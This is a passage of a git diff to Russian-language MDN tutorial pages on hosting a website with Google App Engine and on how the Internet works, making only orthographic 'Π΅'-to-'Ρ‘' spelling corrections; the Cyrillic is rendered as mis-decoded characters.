Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ сайт, поТалуйста, соТмитС ваши изобраТСния. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½Π»Π°ΠΉΠ½, Ρ‚Π°ΠΊ ΠΈ локально:</p>
<ul>
<li><strong>УстанавливаСмоС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС.</strong> <a href="https://imageoptim.com/">ImageOptim</a> (Mac), <a href="http://optipng.sourceforge.net/">OptiPNG</a> (всС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹), <a href="http://pmt.sourceforge.net/pngcrush/">PNGcrush</a> (DOS, Unix/Linux)</li>
diff --git a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html
index 8cc55f9d12..449e24f887 100644
--- a/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html
+++ b/files/ru/learn/common_questions/how_do_you_host_your_website_on_google_app_engine/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°_Google_Cloud_Platform">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Google Cloud Platform</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты Google для своСго собствСнного сайта ΠΈΠ»ΠΈ прилоТСния, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π½Π° Google Cloud Platform. Для этого трСбуСтся Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи Google.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты Google для своСго собствСнного сайта ΠΈΠ»ΠΈ прилоТСния, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Π½Π° Google Cloud Platform. Для этого трСбуСтся Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи Google.</p>
<ol>
<li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° панСль <a href="https://console.cloud.google.com/projectselector/appengine">App Engine dashboard</a> Π² консоли Google Cloud Platform ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒΒ» (<em>Create</em>).</li>
@@ -17,7 +17,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap
<li>Project ID: <em>gaesamplesite</em></li>
</ul>
</li>
- <li>Если Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ создали ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Ρ€Π°Π½ΡŒΡˆΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ обновлСния элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΡΠΎΠ³Π»Π°ΡˆΠ°ΠΉΡ‚Π΅ΡΡŒ с Условиями обслуТивания, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой ΠΏΡ€ΠΎΠ΅ΠΊΡ‚.</li>
+ <li>Если Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ создали ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Ρ€Π°Π½ΡŒΡˆΠ΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ обновлСния элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, ΡΠΎΠ³Π»Π°ΡˆΠ°ΠΉΡ‚Π΅ΡΡŒ с Условиями обслуТивания, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«Π‘ΠΎΠ·Π΄Π°Ρ‚ΡŒΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой ΠΏΡ€ΠΎΠ΅ΠΊΡ‚.</li>
</ol>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_прилоТСния">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ прилоТСния</h2>
@@ -50,7 +50,7 @@ translation_of: Learn/Common_questions/How_do_you_host_your_website_on_Google_Ap
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‚.Π΅. Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² App Engine:
<pre class="brush:bash no-line-numbers notranslate" style="margin: 1em 0;">gcloud app deploy</pre>
</li>
- <li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ число ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ сСми, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ€Π΅Π³ΠΈΠΎΠ½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ своС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</li>
+ <li>Π’Π²Π΅Π΄ΠΈΡ‚Π΅ число ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ сСми, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ€Π΅Π³ΠΈΠΎΠ½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ своё ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.</li>
<li>НаТмитС <code>Y</code> для подтвСрТдСния.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΏΠΎ ссылкС <em>your-project-id</em>.appspot.com, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ваш сайт. НапримСр, для ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° с IDΒ <em>gaesamplesite, </em>ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΏΠΎ ссылкС <a href="http://gaesamplesite.appspot.com/">gaesamplesite.appspot.com</a>.</li>
</ol>
diff --git a/files/ru/learn/common_questions/how_does_the_internet_work/index.html b/files/ru/learn/common_questions/how_does_the_internet_work/index.html
index 225ee71401..267946416f 100644
--- a/files/ru/learn/common_questions/how_does_the_internet_work/index.html
+++ b/files/ru/learn/common_questions/how_does_the_internet_work/index.html
@@ -19,12 +19,12 @@ original_slug: Learn/How_the_Internet_works
<tbody>
<tr>
<th scope="row">НСобходимыС знания:</th>
- <td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚, Π½ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹, Ссли Π²Ρ‹ сначала ΠΏΡ€ΠΎΡ‡Ρ‚Π΅Ρ‚Π΅ <a href="/en-US/docs/Learn/Thinking_before_coding">ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» ΠΎ Ρ‚Π°ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ свой сайт</a></td>
+ <td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚, Π½ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠ·Π½Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹, Ссли Π²Ρ‹ сначала ΠΏΡ€ΠΎΡ‡Ρ‚Ρ‘Ρ‚Π΅ <a href="/en-US/docs/Learn/Thinking_before_coding">ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» ΠΎ Ρ‚Π°ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ свой сайт</a></td>
</tr>
<tr>
<th scope="row">ЦСль:</th>
<td>
- <p>Π’Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ основы тСхничСской инфраструктуры Π’Π΅Π±Π° ΠΈ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π’Π΅Π±ΠΎΠΌ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ.Β </p>
+ <p>Π’Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ основы тСхничСской инфраструктуры Π’Π΅Π±Π° ΠΈ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅ Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π’Π΅Π±ΠΎΠΌ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ.Β </p>
</td>
</tr>
</tbody>
@@ -34,7 +34,7 @@ original_slug: Learn/How_the_Internet_works
<p><strong>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚</strong> являСтся основой сСти (the Web), тСхничСской инфраструктурой, благодаря ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈ сущСствуСт ВсСмирная ΠŸΠ°ΡƒΡ‚ΠΈΠ½Π°. По своСй сути, ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ - ΠΎΡ‡Π΅Π½ΡŒ большая ΡΠ΅Ρ‚ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
-<p><a href="https://www.wikiwand.com/ru/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82#/.D0.98.D1.81.D1.82.D0.BE.D1.80.D0.B8.D1.8F" rel="external">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Π½Π΅ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° ясна</a>.Β ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ ΠΏΠΎ созданию ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Π±Ρ‹Π» Π½Π°Ρ‡Π°Ρ‚ Π² 60-Ρ… Π³ΠΎΠ΄Π°Ρ… ΠΊΠ°ΠΊ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΏΡ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ министСрства ΠΎΠ±ΠΎΡ€ΠΎΠ½Ρ‹ БША, Π½ΠΎ ΡƒΠΆΠ΅ Π² 80-Π΅ Π³ΠΎΠ΄Ρ‹ вырос Π² ΡΠ΅Ρ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»ΠΈ ΠΈ Ρ€Π°Π·Π²ΠΈΠ²Π°Π»ΠΈ мноТСство унивСрситСтов ΠΈ частных ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ. Π’Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π»ΠΈ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Π½ΠΎ основной ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ сильно измСнился: Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ - это способ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ Π² Π΅Π΄ΠΈΠ½ΡƒΡŽ ΡΠ΅Ρ‚ΡŒ ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Ρ‹Ρ… сбоях, ΠΎΠ½ΠΈ всС Ρ€Π°Π²Π½ΠΎ Π½Π°ΠΉΠ΄ΡƒΡ‚ способ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
+<p><a href="https://www.wikiwand.com/ru/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82#/.D0.98.D1.81.D1.82.D0.BE.D1.80.D0.B8.D1.8F" rel="external">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Π½Π΅ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° ясна</a>.Β ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ ΠΏΠΎ созданию ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Π±Ρ‹Π» Π½Π°Ρ‡Π°Ρ‚ Π² 60-Ρ… Π³ΠΎΠ΄Π°Ρ… ΠΊΠ°ΠΊ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ ΠΏΡ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ министСрства ΠΎΠ±ΠΎΡ€ΠΎΠ½Ρ‹ БША, Π½ΠΎ ΡƒΠΆΠ΅ Π² 80-Π΅ Π³ΠΎΠ΄Ρ‹ вырос Π² ΡΠ΅Ρ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π»ΠΈ ΠΈ Ρ€Π°Π·Π²ΠΈΠ²Π°Π»ΠΈ мноТСство унивСрситСтов ΠΈ частных ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ. Π’Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ Π² основС ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π»ΠΈ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Π½ΠΎ основной ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ сильно измСнился: Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ - это способ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ Π² Π΅Π΄ΠΈΠ½ΡƒΡŽ ΡΠ΅Ρ‚ΡŒ ΠΈ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Ρ‹Ρ… сбоях, ΠΎΠ½ΠΈ всС Ρ€Π°Π²Π½ΠΎ Π½Π°ΠΉΠ΄ΡƒΡ‚ способ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
<h2 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅</h2>
@@ -74,7 +74,7 @@ original_slug: Learn/How_the_Internet_works
<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p>
-<p>Вакая ΡΠ΅Ρ‚ΡŒ ΡƒΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ, Π½ΠΎ ΠΌΡ‹ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ упустили. Наша ΡΠ΅Ρ‚ΡŒ построСна для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°ΡˆΠΈΡ… Π·Π°Π΄Π°Ρ‡. Но ΠΊΡ€ΠΎΠΌΠ΅ Π½Π΅Π΅ Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сСти: наши Π΄Ρ€ΡƒΠ·ΡŒΡ, сосСди — ΠΊΡ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свою ΡΠ΅Ρ‚ΡŒ. Как ΠΆΠ΅ Π½Π°ΠΌ ΠΈΡ… ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ? ΠœΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΡ‚ΡΠ½ΡƒΡ‚ΡŒ ΠΊΠ°Π±Π΅Π»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ нашим Π΄ΠΎΠΌΠΎΠΌ ΠΈ всСми ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ сСтями Π² ΠΌΠΈΡ€Π΅. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ сСтями. Π’Π΅Π΄ΡŒ Ρƒ нас Π΄ΠΎΠΌΠ° ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΊΠ°Π±Π΅Π»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСктричСскиС ΠΈΠ»ΠΈ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹Π΅.Β Π’Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ ΡƒΠΆΠ΅ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚Β Π²Π°Ρˆ Π΄ΠΎΠΌ со всСм ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΌΠΈΡ€ΠΎΠΌ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ нашСй Π·Π°Π΄Π°Ρ‡ΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΡΠ΅Ρ‚ΡŒ ΠΊ глобальной сСти с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π°, Π½Π°ΠΌ понадобится ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ называСтся <em>ΠΌΠΎΠ΄Π΅ΠΌ</em>. МодСм ΠΏΠ΅Ρ€Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰ΡƒΡŽ ΠΈΠ· нашСй сСти Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΡƒΡŽ ΡΠ΅Ρ‚ΡŒ, ΠΈΒ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ сСти Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ наши ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹.</p>
+<p>Вакая ΡΠ΅Ρ‚ΡŒ ΡƒΠΆΠ΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ° Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ, Π½ΠΎ ΠΌΡ‹ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ упустили. Наша ΡΠ΅Ρ‚ΡŒ построСна для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°ΡˆΠΈΡ… Π·Π°Π΄Π°Ρ‡. Но ΠΊΡ€ΠΎΠΌΠ΅ Π½Π΅Ρ‘ Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сСти: наши Π΄Ρ€ΡƒΠ·ΡŒΡ, сосСди — ΠΊΡ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свою ΡΠ΅Ρ‚ΡŒ. Как ΠΆΠ΅ Π½Π°ΠΌ ΠΈΡ… ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ? ΠœΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΡ‚ΡΠ½ΡƒΡ‚ΡŒ ΠΊΠ°Π±Π΅Π»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ нашим Π΄ΠΎΠΌΠΎΠΌ ΠΈ всСми ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ сСтями Π² ΠΌΠΈΡ€Π΅. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ сСтями. Π’Π΅Π΄ΡŒ Ρƒ нас Π΄ΠΎΠΌΠ° ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΊΠ°Π±Π΅Π»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСктричСскиС ΠΈΠ»ΠΈ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹Π΅.Β 